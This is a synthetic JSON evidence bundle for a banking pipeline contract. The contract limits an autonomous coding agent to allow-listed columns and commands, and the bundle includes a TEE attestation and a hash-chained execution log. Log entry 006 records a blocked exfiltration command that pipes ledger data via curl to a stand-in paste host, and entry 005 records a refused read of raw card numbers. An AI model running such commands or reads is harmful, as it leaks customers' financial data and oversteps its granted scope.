{
  "bundle_id": "EV-FIN-2026-11-001",
  "sector": "Banking & Fintech",
  "slug": "fintech",
  "synthetic": true,
  "generated_at": "2026-11-09T00:00:00Z",
  "pipeline_contract": {
    "id": "PC-FIN-2026-11",
    "purpose": "Autonomous coding agent + AML feature scoring",
    "owner": "Engineering / Financial Crime",
    "reviewer": "CISO / DPO",
    "allowed_columns": [
      "repo_path",
      "git_diff",
      "ledger_velocity_30d",
      "merchant_category",
      "anonymized_counterparty_id"
    ],
    "blocked_columns": [
      {
        "name": "raw_cardholder_pan",
        "reason": "card data"
      },
      {
        "name": "customer_iban",
        "reason": "payment identifier"
      },
      {
        "name": "raw_ledger_rows",
        "reason": "full transaction history"
      }
    ],
    "command_allow_list": [
      "grep",
      "git diff",
      "run_unit_tests",
      "score_aml_features"
    ],
    "output_limit": "patch + test_report + aml_risk_score",
    "retention": "0 days raw; patch retained 30 days"
  },
  "contract_hash": "c6e3e053174a86018125e1b6eab56a3867753773f73407dd64d5b1aecf3a33e2",
  "tee_attestation": {
    "type": "Intel TDX",
    "quote": "Hu/sHwCMV5NDW3E6EmjbCoorL5VkTcYMv5jEc8eSxpke7+wfAIxXk0NbcToSaNsKiisvlWRNxgy/mMRzx5LGmQ==",
    "detail": "TDX quote verified against the Intel root chain · report_data binds the contract hash and workload digest",
    "verified": true
  },
  "execution_hash_chain": [
    {
      "seq": "001",
      "type": "CONTRACT",
      "detail": "Pipeline Contract PC-FIN-2026-11 verified against the CISO/DPO signature.",
      "hash": "a34f3d2c4863378d79e93ff06bf1d531392dfa4fdd43d43748605c3e09d14765"
    },
    {
      "seq": "002",
      "type": "ATTEST",
      "detail": "Intel TDX quote verified; report_data binds the contract hash.",
      "hash": "6a110a1d6f4973fdc8e570216912c1a154580cce2eee2af1c42f671deca1a1f9"
    },
    {
      "seq": "003",
      "type": "READ",
      "detail": "Allow-listed read: repo_path, git_diff, ledger_velocity_30d, merchant_category, anonymized_counterparty_id.",
      "hash": "c261efa9f23c1c35018f223ede5cb30f9cd37a57a65c9cfb1c434ea2bda006bb"
    },
    {
      "seq": "004",
      "type": "OUTPUT",
      "detail": "Signed output released: patch, test_report and aml_risk_score only.",
      "hash": "659c7cc1b44b0400d929013b4db4a6d7dd1c9ffda828a409f09c3b4176e34f03"
    },
    {
      "seq": "005",
      "type": "BLOCKED",
      "detail": "Out-of-scope read refused: raw_cardholder_pan.",
      "hash": "a26d0a570d3d4ea8984a24be810be538049abfb16c1b6be28da397d50320e60e"
    },
    {
      "seq": "006",
      "type": "BLOCKED",
      "detail": "Egress blocked: gradle publish && curl https://paste.example/ledger.",
      "hash": "5b9abdb2de7f4d7af853f179a3c17f45e259cfc04cb56d0fa91162a64f0c2a54"
    },
    {
      "seq": "007",
      "type": "SEALED",
      "detail": "Evidence bundle sealed; hash chain head signed by the TEE.",
      "hash": "59f1f8760762561fbcb7ea93e0ff1be28d0b489cddf7ed8d60eab6b66de57b60"
    }
  ],
  "files": [
    {
      "name": "evidence.json",
      "bytes": 3701,
      "sha256": "3c7c6e9a4d229d674e8b0fc6bf2d916c2d48e48b19e2f81d5cafb28473381485"
    },
    {
      "name": "summary.pdf",
      "bytes": 6809,
      "sha256": "4a2ff9bd280c314f299f48aff8ca88ae2b7c04332a5174f178d2d6c3fa03f1c2"
    },
    {
      "name": "audit.csv",
      "bytes": 1526,
      "sha256": "05621e78c695eab864a696c236c0c0a4d02d204dbaa1d7b34c350e13c5421b16"
    }
  ],
  "note": "Synthetic demonstration bundle. No customer data is included."
}